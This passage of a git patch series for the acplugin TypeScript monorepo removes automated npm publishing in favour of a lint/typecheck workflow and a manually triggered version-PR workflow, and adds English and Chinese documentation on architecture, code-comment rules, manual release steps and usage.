diff --git a/tsconfig.json b/tsconfig.json deleted file mode 100644 index 8d4e7cc..0000000 --- a/tsconfig.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2022", - "module": "Node16", - "moduleResolution": "Node16", - "outDir": "./dist", - "rootDir": "./src", - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "declaration": true - }, - "include": ["src/**/*"] -} diff --git a/vitest.config.ts b/vitest.config.ts deleted file mode 100644 index 7382f40..0000000 --- a/vitest.config.ts +++ /dev/null @@ -1,7 +0,0 @@ -import { defineConfig } from 'vitest/config'; - -export default defineConfig({ - test: { - globals: true, - }, -}); From d254e8ad7fe444f5230bc3d1ab4140cf72a83890 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Wed, 5 Aug 2026 19:59:41 +0800 Subject: [PATCH 02/27] feat: add Chinese comment check script and coverage configuration --- .github/workflows/check.yml | 22 + .github/workflows/ci.yml | 30 - .github/workflows/patch.yml | 92 +++ .github/workflows/publish-npm.yml | 62 -- .husky/pre-commit | 1 + AGENTS.md | 13 +- README.md | 4 +- README.zh-CN.md | 4 +- llmdoc/architecture/system.md | 2 + llmdoc/architecture/system.zh-CN.md | 81 +++ llmdoc/guides/commenting.zh-CN.md | 31 + llmdoc/guides/release.md | 64 +- llmdoc/guides/release.zh-CN.md | 84 +++ llmdoc/guides/usage.md | 2 + llmdoc/guides/usage.zh-CN.md | 78 +++ llmdoc/index.md | 13 +- llmdoc/overview/project.md | 6 +- llmdoc/overview/project.zh-CN.md | 42 ++ llmdoc/reference/conversion-matrix.md | 2 + llmdoc/reference/conversion-matrix.zh-CN.md | 36 ++ llmdoc/state/sync.md | 2 +- package.json | 23 +- packages/acplugin/package.json | 20 +- packages/acplugin/src/cli.ts | 91 ++- packages/acplugin/src/index.ts | 73 +++ packages/acplugin/src/init.ts | 81 ++- packages/acplugin/src/migration/index.ts | 237 +++++++- .../acplugin/src/migration/legacy/github.ts | 144 ++++- .../src/migration/legacy/scanner/claude.ts | 79 ++- .../src/migration/legacy/scanner/plugin.ts | 163 +++-- .../acplugin/src/migration/legacy/types.ts | 83 ++- .../src/migration/legacy/utils/frontmatter.ts | 17 +- .../acplugin/src/migration/legacy/utils/fs.ts | 47 ++ packages/acplugin/tsdown.config.ts | 3 +- packages/compiler-claude-code/src/index.ts | 38 ++ .../compiler-claude-code/tsdown.config.ts | 3 +- packages/compiler-codex/src/index.ts | 53 ++ packages/compiler-codex/tsdown.config.ts | 3 +- packages/core/package.json | 6 +- packages/core/src/artifacts.ts | 75 +++ packages/core/src/builder.ts | 102 ++++ packages/core/src/config.ts | 89 +++ packages/core/src/diagnostics.ts | 82 +++ packages/core/src/extensions.ts | 23 +- packages/core/src/index.ts | 1 + packages/core/src/scanner.ts | 246 +++++++- packages/core/src/serialization.ts | 27 + packages/core/src/transaction.ts | 93 ++- packages/core/src/types.ts | 94 +++ packages/core/test/core.test.ts | 23 + packages/core/tsdown.config.ts | 3 +- packages/module-hooks/package.json | 2 +- packages/module-hooks/src/index.ts | 185 ++++++ packages/module-hooks/tsdown.config.ts | 3 +- packages/module-mcp/package.json | 2 +- packages/module-mcp/src/index.ts | 166 ++++++ packages/module-mcp/tsdown.config.ts | 3 +- packages/test/test/build.test.ts | 7 + packages/test/test/cli.test.ts | 53 ++ packages/test/test/init.test.ts | 4 + packages/test/test/migration.test.ts | 5 + packages/test/test/modules.test.ts | 15 + packages/test/test/repository.test.ts | 86 ++- packages/test/vitest.config.ts | 7 + pnpm-lock.yaml | 558 ++++++++++++------ pnpm-workspace.yaml | 23 +- scripts/check-comments.mjs | 118 ++++ scripts/comment-coverage.json | 46 ++ scripts/publish-release-cohort.mjs | 121 ---- scripts/verify-release-cohort.mjs | 33 -- scripts/verify-release.mjs | 64 +- tsconfig.base.json | 14 +- 72 files changed, 3571 insertions(+), 637 deletions(-) create mode 100644 .github/workflows/check.yml delete mode 100644 .github/workflows/ci.yml create mode 100644 .github/workflows/patch.yml delete mode 100644 .github/workflows/publish-npm.yml create mode 100644 llmdoc/architecture/system.zh-CN.md create mode 100644 llmdoc/guides/commenting.zh-CN.md create mode 100644 llmdoc/guides/release.zh-CN.md create mode 100644 llmdoc/guides/usage.zh-CN.md create mode 100644 llmdoc/overview/project.zh-CN.md create mode 100644 llmdoc/reference/conversion-matrix.zh-CN.md create mode 100644 scripts/check-comments.mjs create mode 100644 scripts/comment-coverage.json delete mode 100644 scripts/publish-release-cohort.mjs delete mode 100644 scripts/verify-release-cohort.mjs diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml new file mode 100644 index 0000000..8fdafe2 --- /dev/null +++ b/.github/workflows/check.yml @@ -0,0 +1,22 @@ +name: Check + +on: + pull_request: + +permissions: + contents: read + +jobs: + check: + name: Lint and typecheck + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 20 + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run lint + - run: pnpm run typecheck diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml deleted file mode 100644 index a52236f..0000000 --- a/.github/workflows/ci.yml +++ /dev/null @@ -1,30 +0,0 @@ -name: CI - -on: - push: - branches: [main] - pull_request: - -permissions: - contents: read - -jobs: - verify: - name: Verify Node ${{ matrix.node }} - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - node: [20, 24] - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v4 - - uses: actions/setup-node@v6 - with: - node-version: ${{ matrix.node }} - cache: pnpm - - run: pnpm install --frozen-lockfile - - run: pnpm run check - - name: Verify publishable tarballs in a clean consumer - if: matrix.node == 20 - run: pnpm run release:verify diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml new file mode 100644 index 0000000..8428b08 --- /dev/null +++ b/.github/workflows/patch.yml @@ -0,0 +1,92 @@ +name: Patch + +on: + workflow_dispatch: + inputs: + target_branch: + description: Branch that contains the Changesets and will receive the version PR + required: true + type: string + +concurrency: + group: patch-${{ inputs.target_branch }} + cancel-in-progress: false + +permissions: + contents: write + pull-requests: write + +jobs: + patch: + name: Create version PR + runs-on: ubuntu-latest + steps: + - name: Require the trusted default-branch workflow + shell: bash + env: + WORKFLOW_BRANCH: ${{ github.ref_name }} + DEFAULT_BRANCH: ${{ github.event.repository.default_branch }} + run: | + set -euo pipefail + if [[ "$WORKFLOW_BRANCH" != "$DEFAULT_BRANCH" ]]; then + echo "::error::Run Patch from the default branch and select the source with target_branch." + exit 1 + fi + + - name: Check out the target branch + uses: actions/checkout@v6 + with: + ref: ${{ inputs.target_branch }} + fetch-depth: 0 + + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 20 + cache: pnpm + + - run: pnpm install --frozen-lockfile + + - name: Require at least one Changeset + shell: bash + run: | + set -euo pipefail + if ! find .changeset -maxdepth 1 -type f -name '*.md' ! -name 'README.md' -print -quit | grep -q .; then + echo "::error::The target branch must contain at least one Changeset." + exit 1 + fi + + - name: Consume Changesets and bump the fixed cohort + shell: bash + run: | + set -euo pipefail + before_version="$(node -p "require('./packages/acplugin/package.json').version")" + pnpm version-packages + after_version="$(node -p "require('./packages/acplugin/package.json').version")" + if [[ "$before_version" == "$after_version" ]]; then + echo "::error::The Changesets did not bump the public package cohort." + exit 1 + fi + pnpm install --lockfile-only + + - run: pnpm run lint + - run: pnpm run typecheck + + - name: Create or update the version PR + id: version-pr + uses: peter-evans/create-pull-request@v8 + with: + token: ${{ github.token }} + base: ${{ inputs.target_branch }} + branch: changeset-version/${{ inputs.target_branch }} + delete-branch: true + commit-message: "chore(release): version packages" + title: "chore(release): version packages" + body: | + Consumes the Changesets from `${{ inputs.target_branch }}` and updates the fixed public package cohort versions and changelogs. + + This pull request does not publish packages, create tags, or create a GitHub Release. + + - name: Report pull request + if: steps.version-pr.outputs.pull-request-url + run: echo "Created or updated ${{ steps.version-pr.outputs.pull-request-url }}" diff --git a/.github/workflows/publish-npm.yml b/.github/workflows/publish-npm.yml deleted file mode 100644 index 5ef0040..0000000 --- a/.github/workflows/publish-npm.yml +++ /dev/null @@ -1,62 +0,0 @@ -name: Release @tokenroll/acplugin - -on: - push: - tags: - - "tokenroll-v*" - -permissions: - contents: read - -jobs: - verify: - name: Verify Node ${{ matrix.node }} - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - node: [20, 24] - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v4 - - uses: actions/setup-node@v6 - with: - node-version: ${{ matrix.node }} - cache: pnpm - - run: pnpm install --frozen-lockfile - - run: pnpm run check - - run: pnpm run release:verify - - publish: - name: Publish fixed cohort - needs: verify - runs-on: ubuntu-latest - environment: npm - permissions: - contents: write - id-token: write - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v4 - - uses: actions/setup-node@v6 - with: - node-version: 24 - cache: pnpm - registry-url: https://registry.npmjs.org - - run: pnpm install --frozen-lockfile - - - name: Verify tag, cohort versions, and peer ranges - run: node scripts/verify-release-cohort.mjs "$GITHUB_REF_NAME" - - - name: Rebuild and verify publishable tarballs - run: | - pnpm run check - pnpm run release:verify - - - name: Publish missing exact versions and verify registry - run: node scripts/publish-release-cohort.mjs - - - name: Create GitHub Release after registry verification - env: - GH_TOKEN: ${{ github.token }} - run: gh release view "$GITHUB_REF_NAME" >/dev/null 2>&1 || gh release create "$GITHUB_REF_NAME" --verify-tag --generate-notes --title "$GITHUB_REF_NAME" diff --git a/.husky/pre-commit b/.husky/pre-commit index 30ae3e8..28ace0a 100644 --- a/.husky/pre-commit +++ b/.husky/pre-commit @@ -1,2 +1,3 @@ pnpm exec lint-staged +pnpm run comments:check pnpm run typecheck diff --git a/AGENTS.md b/AGENTS.md index 667bf18..0361ac4 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -97,6 +97,7 @@ Migration 位于 `packages/acplugin/src/migration/`,CLI 使用动态 import。 - Core 单元测试:`packages/core/test/` - 跨包集成:`packages/test/test/` - Migration 集成:`packages/test/test/migration.test.ts` +- 各 package 使用 catalog 中的 TypeScript 7 编译和类型检查;根 workspace 暂时保留 TypeScript 6,仅作为 `typescript-eslint` 尚未支持原生 TS 7 时的解析 API。 ```bash pnpm run lint @@ -111,12 +112,12 @@ pnpm run release:verify ## 发行 - 三个公开包统一版本,由 Changesets fixed group 管理。 -- tag 格式为 `tokenroll-vX.Y.Z`。 -- 首次 npm identity 需要手工 2FA bootstrap;不得由实现/测试自动发布。 -- 后续 workflow 使用受保护 `npm` environment 和 OIDC/provenance,无长期 npm token。 -- 发布顺序:Hooks Module → MCP Module → 主包;精确版本存在时跳过并验证。 -- GitHub Release 只能在三个 Registry 精确版本均验证后创建。 -- 禁止自动 unpublish、修改 dist-tag 或创建 tag,除非用户明确要求实际发布。 +- `Check` Workflow 在 PR 上自动执行 lint 和 typecheck。 +- `Patch` Workflow 只能手工触发;从默认分支选择目标分支,消费其 Changesets、生成 changelog、升级固定公开包版本,并创建回到该目标分支的版本 PR。 +- 所有版本均由维护者从已验证 tarball 手工发布;仓库不得添加 Tag/npm 自动发布 Workflow。 +- 手工发布顺序:Hooks Module → MCP Module → 主包;每一步都要验证 Registry 精确版本。 +- 三个 npm 版本全部存在后,再由维护者手工创建 `tokenroll-vX.Y.Z` Tag 和 GitHub Release。 +- 禁止自动 publish/unpublish、修改 dist-tag、创建 Tag 或 GitHub Release,除非用户明确要求执行对应操作。 ## Git 与改动安全 diff --git a/README.md b/README.md index 70c798f..c79a729 100644 --- a/README.md +++ b/README.md @@ -343,7 +343,9 @@ pnpm run release:verify `release:verify` creates pnpm tarballs, inspects their files/manifests, installs all three into a clean external consumer, typechecks its config, imports the API, and builds both target plugins. It performs no npm publication. -The first npm release is a manual 2FA bootstrap from verified tarballs. Later `tokenroll-vX.Y.Z` tags use the protected OIDC workflow, publish Modules before the main package, verify exact registry versions, and only then create the GitHub Release. +Pull requests automatically run lint and typecheck. The manually dispatched `Patch` workflow accepts a target branch containing at least one Changeset, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. + +Every npm release is manual. A maintainer publishes the verified tarballs in Hooks → MCP → main order, verifies each exact Registry version, and only then manually creates the matching `tokenroll-vX.Y.Z` tag and GitHub Release. The repository contains no automated publication workflow. ## License diff --git a/README.zh-CN.md b/README.zh-CN.md index e32bcd3..ea27d9b 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -327,7 +327,9 @@ pnpm run release:verify `release:verify` 会创建三个 pnpm tarball、检查 Manifest/文件列表、安装到 monorepo 外的干净消费者、执行配置类型检查、API import 和双目标构建,不会发布 npm。 -第一次 npm 发布需要从已验证 tarball 手工完成 2FA bootstrap。后续 `tokenroll-vX.Y.Z` 标签使用受保护 OIDC workflow,先发布 Modules,再发布主包,验证 Registry 精确版本后才创建 GitHub Release。 +PR 会自动执行 lint 和 typecheck。手工触发的 `Patch` Workflow 接收一个至少包含一份 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 + +所有 npm 版本都从已验证 tarball 手工发布,顺序为 Hooks → MCP → 主包。逐一验证 Registry 精确版本后,再由维护者手工创建对应的 `tokenroll-vX.Y.Z` Tag 和 GitHub Release;仓库不包含自动发布 Workflow。 ## License diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index 2dd70e2..19b7e0d 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -1,5 +1,7 @@ # System Architecture +> [中文对照](system.zh-CN.md) + ## Pipeline ```text diff --git a/llmdoc/architecture/system.zh-CN.md b/llmdoc/architecture/system.zh-CN.md new file mode 100644 index 0000000..f04e779 --- /dev/null +++ b/llmdoc/architecture/system.zh-CN.md @@ -0,0 +1,81 @@ +# 系统架构 + +> [English version](system.md) + +## Pipeline + +```text +acplugin.config.ts + → 解析并验证配置 + → 排序并初始化 Modules + → 发现规范 Components/Public + → 验证 Component 依赖图 + → 收集 Module 目标贡献 + → 为每个目标执行内置 Compiler + → 建立不可变 Artifact 图 + → 应用兼容性严格度并完成最终验证 + → 仅验证物化,或执行受管输出事务 + → 生成稳定报告 +``` + +`validate`、`inspect` 和 `build` 运行同一套 Pipeline,区别只在报告明细和提交行为。`dev` 会在合并后的每次重建中创建全新 Pipeline;重建失败时保留最后一次成功的完整输出。 + +## Core 包 + +`packages/core/src/` 负责: + +- `types.ts`:公开 Config、Component、Module、Compiler、Artifact、兼容性和报告契约; +- `config.ts`:严格配置规范化和安全的项目相对目录; +- `scanner.ts`:规范 Markdown/Public 发现、Frontmatter 验证、依赖图检查和 Module 目录门禁; +- `diagnostics.ts`:稳定排序的诊断与兼容性严格度; +- `artifacts.ts`:所有权、摘要、文件来源根目录、权限模式和冲突检查; +- `builder.ts`:生命周期编排、Compiler 分发和最终 Artifact 图/报告创建; +- `transaction.ts`:验证物化以及整个 `dist` 的锁、备份、交换和恢复; +- `serialization.ts`:确定性 JSON/YAML/Markdown 序列化。 + +Artifact 会拒绝绝对路径和目录穿越、符号链接、不支持的权限模式、来源目录逃逸,以及精确、大小写不敏感或 Unicode 规范化后的路径冲突。 + +## Module 生命周期 + +```text +configResolved → discover → validate → build → generate(target) → buildEnd +``` + +Module 按 `dependsOn` 进行拓扑排序;无依赖关系的同级 Module 保持配置顺序。Module 只能访问显式声明依赖的 State/Built State,并且只能写入 Core 提供的工作目录。Module 可以返回目标 Artifact、由其唯一拥有的顶层 Manifest 字段和兼容性条目。Compiler 始终完整拥有 Manifest 和目标 Schema。 + +`buildEnd` 在成功或失败后按初始化的逆序执行。候选提交期间,事务会在逆序清理完成前保留旧输出作为回滚备份。清理失败会写入报告、传递给剩余清理 Hook,并把目录交换回滚到上一份完整输出。交换前失败则通过普通错误路径进入清理阶段。 + +## 内置 Compiler + +`packages/compiler-claude-code/` 生成原生 Commands、Skills、Agents 和 `.claude-plugin/plugin.json`。 + +`packages/compiler-codex/` 生成原生 Skills、Command 回退 Skills、Agent 回退 Skills、调用策略元数据和 `.codex-plugin/plugin.json`。生成标识按大小写不敏感方式保留;任何冲突都会显式失败。 + +两个包均为私有包,并由 tsdown 内联进 `@tokenroll/acplugin`。 + +## 官方 Modules + +`packages/module-hooks/` 发现 `src/hooks//hook.ts`,验证事件、Matcher、超时和结果语义,并为每个支持目标打包一个带 JSON 大小边界的独立运行器。字面量动态导入确保 Handler 及其依赖进入 Bundle。运行时失败只输出固定错误码,不输出输入载荷。第三方依赖许可文件与 Handler 相邻生成。 + +`packages/module-mcp/` 发现 `src/mcp//mcp.ts`。Streamable HTTP 声明会映射 URL、认证和 Header 环境变量引用,不会读取凭据。本地 stdio 入口会被打包为 Node 20 ESM,并携带相邻的第三方许可说明。 + +## 受管输出事务 + +`dist` 是一套完整的受管目标集合: + +1. 获取同级独占锁; +2. 恢复遗留的备份或事务记录; +3. 在同一文件系统的阶段目录中物化所有选中目标; +4. 重新计算并验证每个 Artifact 的大小、SHA-256、权限和普通文件状态; +5. 写入事务记录,并把旧输出重命名为备份; +6. 把阶段目录重命名为正式输出,同时保留回滚边界; +7. 成功完成 Module 清理,否则执行回滚; +8. 删除事务记录,并尽力清理备份。 + +提交前失败不会触碰旧输出。备份或交换后失败会执行回滚。如果只有清理过程被中断,下次运行会确定性地协调输出和备份。Core 测试会在每个可观测阶段注入失败。 + +## CLI 与包边界 + +`packages/acplugin/src/index.ts` 使用 Jiti 重新加载受信任的 TypeScript 配置和描述 Module,并连接两个已内联 Compiler。嵌套配置对象会在进入 Pipeline 前完成运行时 Schema 检查。`cli.ts` 负责命令、JSON/文本输出纪律、退出码、监听事件合并和 Migration 延迟导入。稳定诊断会隐藏外部异常、本机绝对路径和可识别的凭据形式。 + +普通公开门面和 CLI 启动过程不会导入 `migration/`。主包 tarball 不包含私有包导入或私有运行时依赖;`scripts/verify-release.mjs` 会在外部消费者中验证这一点。 diff --git a/llmdoc/guides/commenting.zh-CN.md b/llmdoc/guides/commenting.zh-CN.md new file mode 100644 index 0000000..f1beb34 --- /dev/null +++ b/llmdoc/guides/commenting.zh-CN.md @@ -0,0 +1,31 @@ +# 中文代码注释规范 + +本规范用于说明 acplugin 仓库中中文代码注释的覆盖范围、内容要求和维护方式。注释需要解释职责、业务语义、生命周期、不变量和设计原因,不应逐字翻译代码。 + +## 声明注释 + +每个函数、方法、类、接口、类型别名和枚举前必须提供中文 TSDoc。公开 API 还应使用 `@param`、`@returns`、`@throws` 或正文说明参数、返回值、失败方式和调用阶段。 + +模块级常量、模块状态和类字段必须在声明前说明其用途。类型字段在仅凭名称无法确定约束、单位、所有权或生命周期时也必须添加说明。 + +## 局部变量注释 + +具有独立业务语义的局部变量应在声明前使用中文单行注释,重点解释变量在当前算法中的角色。函数参数由 TSDoc 的 `@param` 统一解释。 + +以下结构性绑定通常不单独添加注释:循环迭代变量、`catch` 绑定、简单数组索引、语义明确的测试 `actual/expected` 变量,以及只用于语法拆分的解构绑定。 + +## 关键逻辑注释 + +事务提交与回滚、路径包含检查、凭据脱敏、Artifact 冲突、Module 生命周期、平台降级和非显然算法必须解释“为什么这样处理”和“必须保持什么条件”。不要使用“遍历数组”“返回结果”“创建变量”之类复述语句的注释。 + +嵌入模板字符串的运行时代码只在生成器边界和关键协议分支处解释,避免把大量开发注释写入最终 Plugin 产物。 + +## 自动守卫 + +`pnpm run comments:check` 使用 TypeScript 语法树检查已纳入覆盖范围的文件。受检查的声明必须存在中文前置注释;覆盖范围记录在 `scripts/comment-coverage.json`。 + +每完成一个子系统,就把其源码文件加入覆盖列表。已经进入列表的文件不得通过删除注释或改写为空洞注释来绕过检查。方法内部注释的准确性由代码 review 验收。 + +## 文档同步 + +注释只解释实现附近的局部契约。跨模块架构、用户工作流和发布流程仍以 `llmdoc/` 稳定文档为准。改变公开行为时必须同时更新代码注释、英文稳定文档及对应中文文档。 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index 0ddbf9e..ab907df 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -1,4 +1,6 @@ -# Releasing the public package cohort +# Manually releasing the public package cohort + +> [中文对照](release.zh-CN.md) The public packages are released at one version: @@ -6,7 +8,15 @@ The public packages are released at one version: - `@tokenroll/acplugin-module-hooks` - `@tokenroll/acplugin-module-mcp` -Core, the built-in Compilers, and the test workspace are private and must not be published or appear as packed runtime dependencies. +Core, the built-in Compilers, and the test workspace are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. + +## Repository workflows + +`Check` runs automatically for pull requests and performs only lint and typecheck. + +`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one `.changeset/*.md` file other than `README.md`. The workflow checks out that branch, consumes all Changesets with `pnpm version-packages`, verifies that the fixed public cohort version changed, refreshes the pnpm lockfile, runs lint and typecheck, and creates or updates a version PR whose base is the selected target branch. + +The repository setting **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests** must be enabled for `Patch` to create the PR with `GITHUB_TOKEN`. The workflow does not publish packages or create release references. ## Prepare a release @@ -20,33 +30,55 @@ Core, the built-in Compilers, and the test workspace are private and must not be pnpm run release:verify ``` -`release:verify` packs all three packages, checks their manifests and contents, installs the tarballs into a clean external consumer, then typechecks, imports, validates, and builds that consumer. +`release:verify` packs all three packages in a temporary directory, checks their manifests and contents, installs the tarballs into a clean external consumer, then typechecks, imports, validates, and builds that consumer. It never publishes. + +Commit the exact verified release preparation to `main` before packing the artifacts that will be published. -## Bootstrap the first npm identities +## Pack the release cohort -The first `1.0.0` publication is manual because each scoped package identity must exist before Trusted Publishing can be configured. From the exact verified revision, create a private temporary tarball directory and pack the cohort: +Create a private temporary directory outside the repository and pack in dependency-safe order: ```bash -pnpm --filter @tokenroll/acplugin-module-hooks pack --pack-destination ./release-tarballs -pnpm --filter @tokenroll/acplugin-module-mcp pack --pack-destination ./release-tarballs -pnpm --filter @tokenroll/acplugin pack --pack-destination ./release-tarballs +ACPLUGIN_RELEASE_DIR="$(mktemp -d)" +pnpm --filter @tokenroll/acplugin-module-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin-module-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR" ``` -An authorized organization maintainer publishes those tarball paths with `npm publish --access public --otp ` in Hooks → MCP → main order. After every command, verify `npm view @1.0.0 version`. Do not create a release tag until all three exact versions exist. No automated implementation or test may perform this bootstrap. +Inspect the three generated tarball paths before continuing. They must be produced from the same verified revision and carry one exact version. -Then configure Trusted Publishing separately for each npm package, restricted to repository `TokenRollAI/acplugin`, workflow `publish-npm.yml`, and the protected `npm` GitHub environment. +## Publish manually -## Publish later versions from a tag +An authorized TokenRoll npm organization maintainer publishes each generated tarball with 2FA. Use this strict order: -Commit the release preparation to `main`, then create `tokenroll-vX.Y.Z`. The tag must exactly match the fixed cohort version. Publishing is performed only by `.github/workflows/publish-npm.yml`; do not publish a partial cohort manually. +1. `@tokenroll/acplugin-module-hooks` +2. `@tokenroll/acplugin-module-mcp` +3. `@tokenroll/acplugin` -The workflow verifies Node 20 and 24, rebuilds and inspects the tarballs, publishes Hooks and MCP before the main package, verifies every exact registry version, and only then creates the GitHub Release. Existing exact versions are skipped so a safely rerun workflow can complete an interrupted cohort. +For each tarball, run the publication and exact-version check manually before continuing: + +```bash +npm publish --access public --otp +npm view @ version +``` + +Do not publish private `@acplugin/*` packages. If publication is interrupted, query every exact version and continue only with the first missing package in the prescribed order; npm versions are immutable and must not be republished. + +## Create the release references manually + +Only after all three exact npm versions are visible in the Registry may a maintainer create and push the matching tag: + +```bash +git tag tokenroll-vX.Y.Z +git push origin tokenroll-vX.Y.Z +``` -The workflow uses OIDC/provenance and does not require a long-lived npm token. +The tag does not trigger publication. Create the GitHub Release manually after verifying the pushed tag and all three Registry versions. ## Safety rules - Never use `npm unpublish` or mutate dist-tags as part of recovery. -- Never create the tag until local verification succeeds. +- Never create or push the tag before all three exact npm versions are verified. - Never publish private `@acplugin/*` workspace packages. -- If a publish is interrupted, rerun the same tag workflow; its exact-version checks preserve completed members and continue in dependency-safe order. +- Never add or invoke automated npm publication, Tag creation, or GitHub Release automation without an explicit project decision. +- Remove the private temporary tarball directory after the release audit is complete. diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md new file mode 100644 index 0000000..5c546b6 --- /dev/null +++ b/llmdoc/guides/release.zh-CN.md @@ -0,0 +1,84 @@ +# 手动发布公开包组 + +> [English version](release.md) + +以下公开包使用同一个版本发布: + +- `@tokenroll/acplugin` +- `@tokenroll/acplugin-module-hooks` +- `@tokenroll/acplugin-module-mcp` + +Core、内置 Compiler 和测试工作区是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手动执行。仓库没有自动发布工作流。 + +## 仓库工作流 + +`Check` 在 Pull Request 创建时自动执行,并且只运行 lint 和 typecheck。 + +`Patch` 从仓库默认分支手动触发,必须提供目标分支。目标分支必须至少包含一个除 `README.md` 外的 `.changeset/*.md` 文件。工作流会检出目标分支,使用 `pnpm version-packages` 消费全部 Changeset,验证固定公开包组的版本发生了变化,刷新 pnpm lockfile,运行 lint 和 typecheck,然后创建或更新一个以所选目标分支为 base 的版本 PR。 + +为了让 `Patch` 使用 `GITHUB_TOKEN` 创建 PR,必须启用仓库设置 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。该工作流不会发布包,也不会创建任何 Release 引用。 + +## 准备发布 + +1. 为用户可见变更添加 Changeset,并通过 `pnpm version-packages` 更新固定包组版本; +2. 确认三个公开清单版本完全相同,且仓库中的 Module Peer Dependency 仍使用 `workspace:^`; +3. 运行: + + ```bash + pnpm install --frozen-lockfile + pnpm run check + pnpm run release:verify + ``` + +`release:verify` 会在临时目录中打包三个包,检查清单与内容,把 tarball 安装到干净的外部消费者,然后对消费者执行类型检查、导入、验证和构建。它绝不会发布任何内容。 + +在打包最终待发布产物前,必须把经过精确验证的发布准备提交到 `main`。 + +## 打包发布包组 + +在仓库外创建私有临时目录,并按照依赖安全顺序打包: + +```bash +ACPLUGIN_RELEASE_DIR="$(mktemp -d)" +pnpm --filter @tokenroll/acplugin-module-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin-module-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +``` + +继续之前检查三个生成的 tarball 路径。它们必须来自同一个已验证 Revision,并携带完全相同的版本。 + +## 手动发布 + +由获得授权的 TokenRoll npm 组织维护者使用 2FA 发布每个 tarball。严格遵循以下顺序: + +1. `@tokenroll/acplugin-module-hooks` +2. `@tokenroll/acplugin-module-mcp` +3. `@tokenroll/acplugin` + +每个 tarball 发布后,必须手动检查精确版本,再继续下一个: + +```bash +npm publish --access public --otp +npm view @ version +``` + +禁止发布私有 `@acplugin/*` 包。如果发布过程被中断,查询每个精确版本,并且只从规定顺序中第一个缺失的包继续。npm 版本不可变,不能重复发布。 + +## 手动创建 Release 引用 + +只有在 Registry 中可以查询到三个精确 npm 版本后,维护者才可以创建并推送匹配 Tag: + +```bash +git tag tokenroll-vX.Y.Z +git push origin tokenroll-vX.Y.Z +``` + +该 Tag 不会触发发布。确认推送后的 Tag 和三个 Registry 版本后,再手动创建 GitHub Release。 + +## 安全规则 + +- 恢复过程中绝不使用 `npm unpublish`,也不修改 dist-tag; +- 在验证三个精确 npm 版本前,绝不创建或推送 Tag; +- 绝不发布私有 `@acplugin/*` 工作区包; +- 未经明确项目决策,绝不添加或调用自动 npm 发布、Tag 创建或 GitHub Release 自动化; +- 发布审计结束后,删除保存 tarball 的私有临时目录。 diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index b514991..93d3b9c 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -1,5 +1,7 @@ # Using acplugin +> [中文对照](usage.zh-CN.md) + acplugin projects author one canonical plugin and compile installable Claude Code and Codex packages. Node.js 20 or newer and pnpm are required. ## Create a project diff --git a/llmdoc/guides/usage.zh-CN.md b/llmdoc/guides/usage.zh-CN.md new file mode 100644 index 0000000..88fd8dc --- /dev/null +++ b/llmdoc/guides/usage.zh-CN.md @@ -0,0 +1,78 @@ +# 使用 acplugin + +> [English version](usage.md) + +acplugin 工程只创作一份规范 Plugin,然后编译出可安装的 Claude Code 和 Codex Plugin。运行环境需要 Node.js 20 或更高版本以及 pnpm。 + +## 创建工程 + +```bash +pnpm dlx @tokenroll/acplugin init my-plugin --yes +cd my-plugin +pnpm install +pnpm build +``` + +`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks/MCP Module。默认配置会构建两个目标,并使用 `src/`、`public/` 和 `dist/` 目录。 + +## 创作 Components + +Commands 放在 `src/commands/.md`,Skills 放在 `src/skills//SKILL.md`,Agents 放在 `src/agents/.md`。Component ID 使用小写 kebab-case。Markdown 文件必须包含 YAML Frontmatter 和非空正文。 + +必需的顶层身份信息直接写在 `acplugin.config.ts`: + +```ts +import { defineConfig } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', +}); +``` + +acplugin 不提供 Instructions Component。只有启用对应官方 Module 后,工程才允许存在 Hooks 或 MCP 目录。 + +TypeScript 配置以及已启用的 